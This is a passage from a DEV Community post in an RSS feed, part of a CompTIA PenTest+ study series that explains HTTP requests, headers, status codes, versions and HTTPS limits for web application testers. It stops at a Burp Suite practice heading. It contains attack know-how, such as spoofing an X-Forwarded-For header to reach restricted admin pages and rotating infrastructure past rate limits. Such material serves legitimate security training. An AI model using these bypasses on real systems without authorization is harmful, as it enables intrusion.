<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Rençber AKMAN</title>
    <description>The latest articles on DEV Community by Rençber AKMAN (@rencberakman).</description>
    <link>https://dev.to/rencberakman</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3383742%2F6a83ab61-4311-47ac-9356-55034eed8a95.jpeg</url>
      <title>DEV Community: Rençber AKMAN</title>
      <link>https://dev.to/rencberakman</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rencberakman"/>
    <language>en</language>
    <item>
      <title>#Module 6 — Section 6.1 Overview of Web --Application-Based Attacks for Security Professionals and the OWASP Top 10</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Thu, 13 Aug 2026 10:56:31 +0000</pubDate>
      <link>https://dev.to/rencberakman/module-6-section-61-overview-of-web-application-based-attacks-for-security-professionals-and-5447</link>
      <guid>https://dev.to/rencberakman/module-6-section-61-overview-of-web-application-based-attacks-for-security-professionals-and-5447</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;The complete foundation of web application security — from protocol to attack taxonomy&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents — Section 6.1
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;6.1.1 Overview — Why Web Applications Are the Most Attacked Surface on Earth&lt;/li&gt;
&lt;li&gt;6.1.2 The HTTP Protocol — The Language Everything Speaks&lt;/li&gt;
&lt;li&gt;6.1.3 Practice — Reading HTTP Traffic Like a Security Professional&lt;/li&gt;
&lt;li&gt;6.1.4 Web Sessions — How the Stateless Protocol Pretends to Have Memory&lt;/li&gt;
&lt;li&gt;6.1.5 Practice — Attacking and Analyzing Web Sessions&lt;/li&gt;
&lt;li&gt;6.1.6 OWASP Top 10 — The Map of the Web Application Attack Surface&lt;/li&gt;
&lt;li&gt;6.1.7 Lab — Website Vulnerability Scanning&lt;/li&gt;
&lt;li&gt;6.1.8 Lab — Using the GVM Vulnerability Scanner&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  6.1.1 Overview — Why Web Applications Are the Most Attacked Surface on Earth
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Scale of the Problem
&lt;/h3&gt;

&lt;p&gt;Before diving into any technique or tool, we need to answer the most fundamental question: why do penetration testers care about web applications more than almost anything else?&lt;/p&gt;

&lt;p&gt;The answer is pure accessibility. A misconfigured login form, a vulnerable API endpoint, a poorly designed session management system — any of these can be reached by anyone on the planet with an internet connection and a browser. There are no geographic barriers. There are no locked doors. An attacker sitting in an apartment can probe a bank's web application from a laptop as easily as they could probe a neighbor's Wi-Fi.&lt;/p&gt;

&lt;p&gt;The numbers back this up. Verizon's 2024 Data Breach Investigations Report found that web application attacks were the primary attack vector in the majority of confirmed data breaches across all industries. IBM's 2024 Cost of a Data Breach Report puts the average cost of a single web application breach at over four million dollars. And these numbers come despite decades of security awareness, billions of dollars in defensive tooling, and thousands of available security frameworks and libraries.&lt;/p&gt;

&lt;p&gt;Why does the problem persist? Because the web is genuinely, architecturally complex. A modern web application is not a single thing — it is a layered system involving browsers, HTTP servers, application servers, databases, caching layers, load balancers, CDN providers, third-party APIs, JavaScript frameworks, mobile apps, and more. Every boundary between these components is a potential vulnerability. Developers are under constant pressure to build features and ship code. Security is evaluated at the end, not baked into the beginning. And the OWASP Foundation — one of the most respected cybersecurity bodies in the world — has catalogued ten categories of vulnerabilities that appear, year after year, in virtually every application they test.&lt;/p&gt;

&lt;h3&gt;
  
  
  What This Section Builds
&lt;/h3&gt;

&lt;p&gt;Section 6.1 is the foundation for everything that follows in Module 6. If you do not understand HTTP deeply, SQL injection looks like magic. If you do not understand how sessions work, CSRF attacks seem inexplicable. If you do not know the OWASP Top 10, you do not have a structured way to approach a web application assessment.&lt;/p&gt;

&lt;p&gt;This section builds three layers of understanding:&lt;/p&gt;

&lt;p&gt;The first layer is the protocol — HTTP. This is the language in which every web attack is conducted. Understanding it at the byte level is not optional for a professional penetration tester.&lt;/p&gt;

&lt;p&gt;The second layer is web sessions — how applications manage state on top of a stateless protocol, and why every mechanism used to do so creates new attack surface.&lt;/p&gt;

&lt;p&gt;The third layer is the OWASP Top 10 — the industry's consensus map of where web applications break, why they break there, and what the attack and defense look like for each category.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Mental Model to Carry Throughout This Module
&lt;/h3&gt;

&lt;p&gt;Think of a web application assessment not as "running tools against a website" but as "having a conversation with a server in the language of HTTP and learning from what it says back." Every response the server sends — its headers, its status codes, its error messages, its redirects — is information. Every parameter the application accepts is a potential injection point. Every piece of state the application remembers is a potential target.&lt;/p&gt;

&lt;p&gt;A skilled web application penetration tester is, at their core, a very careful reader of HTTP traffic who notices things that automated tools miss.&lt;/p&gt;




&lt;h2&gt;
  
  
  6.1.2 The HTTP Protocol — The Language Everything Speaks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What HTTP Is and Why Understanding It Deeply Matters
&lt;/h3&gt;

&lt;p&gt;HTTP stands for HyperText Transfer Protocol. It was invented in 1989 by Tim Berners-Lee as part of the original World Wide Web design, standardized in RFC 1945 (HTTP/1.0) in 1996, and has been the foundational protocol of the web ever since.&lt;/p&gt;

&lt;p&gt;HTTP is an &lt;strong&gt;application-layer protocol&lt;/strong&gt; sitting at Layer 7 of the OSI model. Below it, at Layer 4, runs TCP — the reliable, connection-oriented transport protocol that handles packet ordering, delivery confirmation, and retransmission. When you make an HTTP request, your operating system first establishes a TCP connection to the server, and HTTP messages flow through that established connection.&lt;/p&gt;

&lt;p&gt;HTTPS is not a separate protocol. It is HTTP running inside a TLS (Transport Layer Security) encrypted tunnel. The application data — the HTTP request and response — is identical in both cases. The difference is that HTTPS wraps that data in encryption before it leaves your machine, so anyone intercepting the network traffic between you and the server sees only encrypted gibberish rather than the actual HTTP messages.&lt;/p&gt;

&lt;p&gt;Here is the single most important thing to understand about HTTP before learning any web vulnerability: &lt;strong&gt;HTTP is completely stateless&lt;/strong&gt;. Every single request is treated by the server as an independent transaction. The server processes it, sends a response, and immediately forgets the request ever happened. The next request you send — even a millisecond later, even from the exact same browser — is treated as if it came from a complete stranger.&lt;/p&gt;

&lt;p&gt;This statelessness is not an oversight. It is intentional design. It makes HTTP servers vastly simpler and more scalable — any server in a cluster can handle any request because no server needs to maintain memory of previous interactions. But this statelessness creates the problem that generates half of all web security vulnerabilities: how does the server remember who you are? We will address this completely in Section 6.1.4. For now, keep this question in mind as we build the foundation.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Request-Response Model — The Heartbeat of the Web
&lt;/h3&gt;

&lt;p&gt;Everything in HTTP is a request followed by a response. The client (your browser, curl, Burp Suite, a mobile app) sends a request. The server processes it and sends back a response. That is the entire model. Every web interaction you have ever had — every page load, every login, every Google search, every API call — followed this exact structure.&lt;/p&gt;

&lt;h4&gt;
  
  
  Anatomy of an HTTP Request
&lt;/h4&gt;

&lt;p&gt;An HTTP request has four distinct parts: the request line, the headers section, a blank line (which signals the end of headers), and optionally a body. Let us look at a real login request and dissect every element:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/v1/auth/login HTTP/1.1
Host: bank.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 58
Origin: https://bank.example.com
Referer: https://bank.example.com/login
Cookie: _ga=GA1.2.1234567890; tracking_id=7f3a2b1c
Connection: keep-alive
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors

{"username":"alice@bank.com","password":"MyP@ssw0rd2024"}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The Request Line: &lt;code&gt;POST /api/v1/auth/login HTTP/1.1&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This single line contains three pieces of critical information. The method (POST) tells the server what action to perform. The path (/api/v1/auth/login) tells the server which resource to act upon. The version (HTTP/1.1) tells both sides which protocol rules apply.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP Methods — What They Mean and Why Each Matters for Security&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The method is one of the first things a penetration tester looks at because it shapes the entire behavior of the request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GET&lt;/strong&gt; requests retrieve a resource and should never cause side effects. The design intention is that GET is "safe" — you can send it multiple times and nothing changes. The critical security implication is that GET parameters appear in the URL: &lt;code&gt;https://example.com/search?query=value&amp;amp;user=123&lt;/code&gt;. These URL parameters appear in browser history, server access logs, corporate proxy logs, and the HTTP Referer header when the user clicks a link to another site. Never put sensitive data — passwords, session tokens, personal information — in GET parameters. Many developers know this in theory but violate it under deadline pressure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;POST&lt;/strong&gt; requests send data to the server to create or process something. The data goes in the request body, not the URL. This makes POST the correct choice for login forms, payment submissions, and any sensitive data. However — and this is a critical point many beginners misunderstand — POST is not inherently secure. Without HTTPS, the POST body is just as readable to a network eavesdropper as a GET URL. POST gives you privacy from browser history and logs; it does not give you encryption.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PUT&lt;/strong&gt; requests replace a resource entirely. &lt;strong&gt;PATCH&lt;/strong&gt; requests partially update a resource. If an application exposes PUT or PATCH endpoints without proper authorization checks, an attacker can overwrite other users' data — or administrative data — trivially. During a web application assessment, always test all HTTP methods against every endpoint, not just GET and POST.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DELETE&lt;/strong&gt; requests remove a resource. An unauthenticated or improperly authorized DELETE endpoint is catastrophic — it allows deleting any resource. Finding a DELETE endpoint accessible to regular users when it should require administrative privileges is a critical finding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OPTIONS&lt;/strong&gt; requests ask the server what methods it supports for a given URL. The server responds with an &lt;code&gt;Allow&lt;/code&gt; header listing permitted methods. This is used by browsers for CORS preflight checks (discussed below). For penetration testers, sending OPTIONS to every endpoint gives you a map of what methods exist before you even test them individually.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HEAD&lt;/strong&gt; requests work like GET but the server sends only the response headers, not the body. Because the body is omitted, HEAD responses are very fast. Penetration testers use HEAD for rapid reconnaissance — checking status codes, response headers, and server technology across many URLs without downloading the full response bodies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TRACE&lt;/strong&gt; requests are designed for diagnostic purposes — the server echoes back the entire request it received, including all headers. This enables the Cross-Site Tracing (XST) attack: if TRACE is enabled on a server that also serves JavaScript, an attacker can use JavaScript to send a TRACE request and read the echoed response, potentially exposing HttpOnly cookies that JavaScript should not be able to access. TRACE should always be disabled in production. If you find it enabled, document it as a finding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Headers — The Metadata Layer Where Security Lives&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;HTTP headers are key-value pairs that carry metadata about the request or response. They are enormously important for security professionals because they reveal the application's technology, configuration decisions, and security posture. Learning to read headers fluently is one of the highest-leverage skills in web application testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request Headers That Matter for Security:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Host: bank.example.com&lt;/code&gt;&lt;br&gt;
This header tells the server which virtual host to serve the request for. Servers that host multiple domains on one IP address use this header to route requests. This matters for security because some applications use the Host header to construct URLs in password reset emails, absolute redirect URLs, and other places. If the application blindly trusts the Host header without validation, an attacker can manipulate it to redirect sensitive links (like password reset links) to attacker-controlled servers. This is called a Host Header Injection attack.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;User-Agent: Mozilla/5.0...&lt;/code&gt;&lt;br&gt;
Identifies the browser software making the request. Applications sometimes use this for browser-specific behavior, access control (blocking certain user agents), or analytics. From an attacker's perspective, this can be trivially forged — changing User-Agent to "Googlebot" or "SecurityScanner" is one line in Burp Suite. Never rely on User-Agent for security decisions.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Cookie: _ga=GA1.2.1234567890; tracking_id=7f3a2b1c&lt;/code&gt;&lt;br&gt;
The Cookie header sends back cookies that the server previously set. This is the primary mechanism for session management (discussed in full in 6.1.4). Every request to the matching domain automatically includes applicable cookies — which is exactly what enables CSRF attacks, because the browser sends cookies on requests it did not intend to make.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...&lt;/code&gt;&lt;br&gt;
Used for API authentication, most commonly with JWT (JSON Web Token) Bearer tokens. This header does not automatically persist like cookies — the JavaScript application must explicitly include it in each request. This makes JWT Bearer auth less vulnerable to CSRF (you cannot forge a header from another website via a form submission) but more vulnerable to XSS theft (if your JavaScript is compromised, your Bearer tokens are too).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Content-Type: application/json&lt;/code&gt;&lt;br&gt;
Tells the server how the request body is formatted. This is critical for penetration testers because the content type determines which vulnerability classes to test. A JSON body requires different SQL injection and XSS payloads than a URL-encoded form body. An XML body opens up XXE (XML External Entity) attack possibilities that JSON bodies do not. A &lt;code&gt;multipart/form-data&lt;/code&gt; body indicates file uploads are happening.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Referer: https://bank.example.com/login&lt;/code&gt;&lt;br&gt;
Note the historical misspelling — this should be "Referrer" but the typo made it into the RFC and has never been corrected. This header tells the server which page the request came from. Applications sometimes use this for security decisions (blocking requests that did not come from the expected page). Attackers forge it trivially. It also leaks information — if the Referer header from a request contains a URL with sensitive parameters, those parameters are now logged on the destination server.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Origin: https://bank.example.com&lt;/code&gt;&lt;br&gt;
Used in CORS (Cross-Origin Resource Sharing) requests and CSRF-relevant scenarios. The Origin header cannot be set by JavaScript from a different origin — it is enforced by the browser. This makes it a more reliable source-of-truth for cross-origin security decisions than Referer.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;X-Forwarded-For: 10.0.0.5&lt;/code&gt;&lt;br&gt;
Added by load balancers and reverse proxies to indicate the original client IP address. Applications that implement IP-based access controls — allowing admin access only from the internal network, for example — sometimes check this header. But here is the key: &lt;code&gt;X-Forwarded-For&lt;/code&gt; can be set to any value by the client. If an application restricts admin access to &lt;code&gt;127.0.0.1&lt;/code&gt; and checks &lt;code&gt;X-Forwarded-For&lt;/code&gt; to determine the client IP, an attacker can simply add &lt;code&gt;X-Forwarded-For: 127.0.0.1&lt;/code&gt; to their request and bypass the restriction entirely. This is a common and easily overlooked finding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Response Headers That Reveal Security Posture:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Response headers are your security posture checklist for a web application. The presence or absence of specific security headers tells you a great deal about how the application handles various attack classes.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Server: nginx/1.24.0&lt;/code&gt; — Reveals web server technology and version. Should be removed or set to a generic value in production. When you find it, cross-reference against vulnerability databases for the specific version. Even a minor version difference can be the line between patched and unpatched.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;X-Powered-By: PHP/8.1.0&lt;/code&gt; — Reveals server-side language and runtime version. Again, this should be removed. PHP version information maps directly to known CVEs.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Set-Cookie: session_id=7f3a9b2c1d8e4f6a; Path=/; HttpOnly; Secure; SameSite=Strict&lt;/code&gt;&lt;br&gt;
This is one of the most important headers to analyze in any web application. The flags on this header determine whether the session can be stolen via XSS (HttpOnly prevents this), whether it can be sniffed on HTTP (Secure prevents this), and whether it is vulnerable to CSRF (SameSite controls this). A missing flag is a vulnerability. Full details in Section 6.1.4.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com&lt;/code&gt;&lt;br&gt;
CSP is a browser-enforced security mechanism that restricts which sources of content — scripts, stylesheets, images, fonts, frames — the page may load. A strong CSP is the primary defense against XSS exploitation. Even if an attacker injects a script tag, CSP prevents the browser from executing it unless the source is whitelisted. A missing CSP is not a vulnerability by itself — but it means XSS is far more impactful if found.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;X-Frame-Options: DENY&lt;/code&gt; or &lt;code&gt;X-Frame-Options: SAMEORIGIN&lt;/code&gt;&lt;br&gt;
This header controls whether the page can be embedded in an iframe from another domain. Missing this header enables Clickjacking (covered in Section 6.9). The Content-Security-Policy &lt;code&gt;frame-ancestors&lt;/code&gt; directive is the modern replacement, but X-Frame-Options is still checked for compatibility.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains; preload&lt;/code&gt;&lt;br&gt;
HSTS instructs browsers to always use HTTPS for this domain, for the specified duration (31536000 seconds = 1 year). Once a browser receives this header, it will refuse to make unencrypted HTTP connections to the domain for that period — even if the user types &lt;code&gt;http://&lt;/code&gt;. The &lt;code&gt;includeSubDomains&lt;/code&gt; flag extends this to all subdomains. The &lt;code&gt;preload&lt;/code&gt; flag enables the domain to be included in browser preload lists, so HSTS is enforced even on the very first visit. A missing HSTS header allows SSL stripping attacks on the first connection.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Access-Control-Allow-Origin: https://app.example.com&lt;/code&gt;&lt;br&gt;
CORS headers control which origins are permitted to make cross-origin requests and read the responses. A misconfigured CORS policy — particularly one that reflects any Origin header (&lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt; or dynamically mirroring the request's Origin) combined with &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; — allows a malicious website to make authenticated cross-origin requests and read the responses. This is a critical vulnerability class.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt;&lt;br&gt;
Prevents browsers from guessing (sniffing) the content type of a response. Without this, a browser might interpret a text file as HTML and execute embedded scripts. With it, the browser must use the declared Content-Type. Missing this is typically medium severity — it enables certain content injection scenarios.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Referrer-Policy: strict-origin-when-cross-origin&lt;/code&gt;&lt;br&gt;
Controls how much information is included in the Referer header on outgoing requests. Sensitive applications (healthcare, finance, legal) should set this to prevent leaking sensitive URL parameters to third parties.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Permissions-Policy: geolocation=(), camera=(), microphone=()&lt;/code&gt;&lt;br&gt;
Controls which browser features (geolocation, camera, microphone, payment) are enabled in the document. A missing or permissive policy may allow scripts to access hardware features unexpectedly.&lt;/p&gt;
&lt;h3&gt;
  
  
  HTTP Status Codes — Reading What the Server Tells You
&lt;/h3&gt;

&lt;p&gt;Status codes are three-digit numbers in every HTTP response that communicate the outcome of the request. For penetration testers, status codes are not just informational — they reveal the application's internal behavior and directly inform attack strategy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1xx — Informational&lt;/strong&gt;&lt;br&gt;
Rarely encountered in web application testing. &lt;code&gt;100 Continue&lt;/code&gt; is sometimes sent before large POST bodies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2xx — Success&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;200 OK&lt;/code&gt; — The request succeeded and the body contains the response. Standard success.&lt;br&gt;
&lt;code&gt;201 Created&lt;/code&gt; — A resource was successfully created (common in REST APIs after POST).&lt;br&gt;
&lt;code&gt;204 No Content&lt;/code&gt; — Success, but no body. Common for DELETE responses and some PUT/PATCH operations.&lt;br&gt;
&lt;code&gt;206 Partial Content&lt;/code&gt; — Partial file delivery. Important in file download functionality.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3xx — Redirection&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;301 Moved Permanently&lt;/code&gt; — Resource permanently relocated. Browsers cache this aggressively.&lt;br&gt;
&lt;code&gt;302 Found&lt;/code&gt; — Temporary redirect. The most common redirect type in web applications.&lt;br&gt;
&lt;code&gt;304 Not Modified&lt;/code&gt; — Client's cached version is still valid. No content sent.&lt;br&gt;
The security implication: redirects can be manipulated. An Open Redirect vulnerability occurs when an application redirects to a URL from user input without validation, allowing attackers to redirect victims to malicious sites. Look for parameters like &lt;code&gt;?redirect=&lt;/code&gt;, &lt;code&gt;?next=&lt;/code&gt;, &lt;code&gt;?url=&lt;/code&gt;, &lt;code&gt;?return=&lt;/code&gt; in redirect chains.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4xx — Client Errors&lt;/strong&gt;&lt;br&gt;
This range is the penetration tester's reconnaissance goldmine.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;400 Bad Request&lt;/code&gt; — The server cannot parse the request. Sometimes reveals parsing details in the error message.&lt;br&gt;
&lt;code&gt;401 Unauthorized&lt;/code&gt; — Authentication is required. The server is telling you this endpoint exists but requires credentials.&lt;br&gt;
&lt;code&gt;403 Forbidden&lt;/code&gt; — You are authenticated, but not authorized for this resource. This is crucial: a 403 means the resource EXISTS. During directory brute forcing, a 403 is a finding — it reveals a hidden path that requires authorization. A 404 means "not found" (or the server is lying).&lt;br&gt;
&lt;code&gt;404 Not Found&lt;/code&gt; — Resource does not exist. Or does it? Security-hardened applications return 404 for unauthorized resources instead of 403 specifically to avoid revealing that the resource exists. This is called "security through ambiguity" — not a strong control, but a valid defense layer.&lt;br&gt;
&lt;code&gt;405 Method Not Allowed&lt;/code&gt; — The resource exists but the HTTP method is wrong. Very useful during method enumeration — it tells you the resource is there but you need a different method.&lt;br&gt;
&lt;code&gt;429 Too Many Requests&lt;/code&gt; — Rate limiting is active. The application has noticed your rapid requests. Slow down or rotate infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5xx — Server Errors&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;500 Internal Server Error&lt;/code&gt; — The server crashed processing your request. Often reveals stack traces, framework versions, database types, file paths, and internal code structure in the response body. A 500 triggered by your input is almost always a vulnerability indicator — something you sent caused unexpected behavior.&lt;br&gt;
&lt;code&gt;502 Bad Gateway&lt;/code&gt; — The reverse proxy could not reach the backend. Reveals that a proxy architecture is in use.&lt;br&gt;
&lt;code&gt;503 Service Unavailable&lt;/code&gt; — Server is overloaded or in maintenance. Sometimes caused by your own DoS testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The key insight about status codes:&lt;/strong&gt; When you are brute-forcing directories, fuzzing parameters, or testing inputs, you are not just looking for "success." You are watching for differences. A parameter that returns 200 for normal input and 500 for your SQL injection payload has told you something critical, even if you cannot see the full database. A directory that returns 403 instead of 404 exists. An endpoint that returns a different response size for one payload than all others has reacted to your input uniquely. Status codes and response differences are how web applications leak information about their internal behavior.&lt;/p&gt;
&lt;h3&gt;
  
  
  HTTP Versions — The Evolution and Its Security Implications
&lt;/h3&gt;

&lt;p&gt;Understanding HTTP versions matters because different versions create different attack surfaces, different behavior in security tools, and different requirements for your testing methodology.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP/1.0 (1996)&lt;/strong&gt;&lt;br&gt;
One TCP connection per request-response pair. After each response, the connection closes. Sends one request at a time and waits for the complete response before sending the next. Extremely inefficient for modern web pages that require dozens of resources. Almost never seen in real assessments today except in very legacy systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP/1.1 (1997 — still the baseline)&lt;/strong&gt;&lt;br&gt;
Introduced persistent connections (keep-alive), meaning the TCP connection stays open for multiple request-response pairs. This is enormously more efficient. Also introduced chunked transfer encoding, allowing responses to be sent in pieces before their full size is known.&lt;/p&gt;

&lt;p&gt;HTTP/1.1 is text-based — the protocol messages are human-readable ASCII. This is why you can type raw HTTP/1.1 in telnet or netcat and it works. This is also what makes Burp Suite's Repeater so intuitive — you are literally editing text.&lt;/p&gt;

&lt;p&gt;HTTP/1.1 suffers from &lt;strong&gt;head-of-line blocking&lt;/strong&gt;: if you send three requests on a persistent connection, the second cannot be processed until the first response arrives, and the third cannot begin until the second response arrives. Requests are serialized.&lt;/p&gt;

&lt;p&gt;Most importantly for security professionals: HTTP/1.1 is what Burp Suite shows you by default and what most security tooling assumes. Even when the browser negotiates HTTP/2 with the server, Burp Suite transparently translates — you see HTTP/1.1 in the proxy, and Burp handles the HTTP/2 wire format on your behalf.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP/2 (2015)&lt;/strong&gt;&lt;br&gt;
HTTP/2 was a major architectural redesign, solving the performance problems of HTTP/1.1. The key changes:&lt;/p&gt;

&lt;p&gt;Binary framing: HTTP/2 is a binary protocol, not text. HTTP/1.1 headers and bodies are converted to binary frames. This makes it more efficient for machines to parse but less human-readable. You cannot type HTTP/2 by hand — it requires a proper implementation.&lt;/p&gt;

&lt;p&gt;Multiplexing: Multiple requests can be in-flight simultaneously over a single TCP connection. The head-of-line blocking problem disappears at the HTTP level (though it persists at the TCP level).&lt;/p&gt;

&lt;p&gt;Header compression (HPACK): Headers are compressed using a specialized algorithm. Since the same headers are sent on virtually every request (Host, User-Agent, Authorization, Cookie), this is significant bandwidth savings.&lt;/p&gt;

&lt;p&gt;Server push: The server can proactively send resources the client will need before the client asks for them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP/2 security implications:&lt;/strong&gt;&lt;br&gt;
The binary format means traditional text-based IDS signatures for HTTP/1.1 attacks do not work directly against HTTP/2 traffic. This has been used in evasion scenarios. HTTP/2 also introduced new attack classes: &lt;strong&gt;HTTP/2 Request Smuggling&lt;/strong&gt; — exploiting inconsistencies between how HTTP/2 frontend proxies and HTTP/1.1 backend servers parse the stream — is one of the most powerful web attack techniques discovered in recent years (documented by James Kettle/PortSwigger). Additionally, some servers support HTTP/2 cleartext (h2c upgrades) which can be used to bypass security middleware that only inspects HTTPS traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP/3 (2022 — RFC 9114)&lt;/strong&gt;&lt;br&gt;
HTTP/3 is the most radical change to the HTTP protocol stack in its history. It does not use TCP at all. Instead, it uses &lt;strong&gt;QUIC&lt;/strong&gt; — a protocol built on UDP that implements its own reliable delivery, flow control, and congestion management.&lt;/p&gt;

&lt;p&gt;The rationale: TCP's reliability mechanisms cause a specific problem called TCP-level head-of-line blocking. If a single TCP packet is lost, all data behind it in the stream must wait, even data that belongs to completely independent HTTP streams. QUIC, being UDP-based, allows independent streams to continue even when one stream has a lost packet.&lt;/p&gt;

&lt;p&gt;QUIC also integrates TLS 1.3 directly — the cryptographic and transport handshakes happen simultaneously, reducing connection establishment from two round trips (TLS 1.2 over TCP) to one round trip, or even zero for repeated connections (0-RTT). HTTP/3 mandates TLS 1.3 — there is no unencrypted HTTP/3.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP/3 security implications for penetration testers:&lt;/strong&gt;&lt;br&gt;
HTTP/3 runs over UDP port 443. Firewalls and network appliances that assume all web traffic uses TCP port 443 may inadvertently allow HTTP/3 traffic through rules designed for TCP. Packet capture tools that rely on TCP inspection (Wireshark's default TCP reassembly, many IDS systems) may struggle with QUIC's UDP-based traffic. Your proxy (Burp Suite) needs specific configuration to handle HTTP/3 traffic. The 0-RTT feature has theoretically exploitable replay attack implications. As of 2025, major platforms (Google, Meta, Cloudflare) have widely deployed HTTP/3, making it increasingly relevant in web application assessments.&lt;/p&gt;
&lt;h3&gt;
  
  
  HTTPS — What It Protects and What It Does Not
&lt;/h3&gt;

&lt;p&gt;HTTPS is HTTP encrypted by TLS. This is worth being extremely precise about because the common understanding is both correct and dangerously incomplete.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What HTTPS protects:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The content of every HTTP request and response body&lt;/li&gt;
&lt;li&gt;All HTTP headers (including cookies, Authorization tokens, form data)&lt;/li&gt;
&lt;li&gt;The URL path and query parameters (the path after the domain is encrypted)&lt;/li&gt;
&lt;li&gt;Integrity — messages cannot be tampered with in transit without detection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What HTTPS does not protect:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The domain name you are connecting to (visible in DNS queries and TLS SNI — Server Name Indication, which is the unencrypted field in the TLS handshake where the client tells the server which hostname it wants)&lt;/li&gt;
&lt;li&gt;The IP address of the server&lt;/li&gt;
&lt;li&gt;Timing and size of requests and responses (traffic analysis)&lt;/li&gt;
&lt;li&gt;Any application-layer vulnerability (SQL injection, XSS, CSRF, SSRF — all work identically over HTTPS)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last point is the critical one for every security conversation. &lt;strong&gt;The padlock icon in your browser means the channel is encrypted. It says absolutely nothing about whether the application is secure.&lt;/strong&gt; A web application can be fully HTTPS-only and simultaneously riddled with every vulnerability in the OWASP Top 10. The lock is a channel guarantee, not an application guarantee.&lt;/p&gt;


&lt;h2&gt;
  
  
  6.1.3 Practice — Reading HTTP Traffic Like a Security Professional
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Setting Up Burp Suite as Your Window Into HTTP
&lt;/h3&gt;

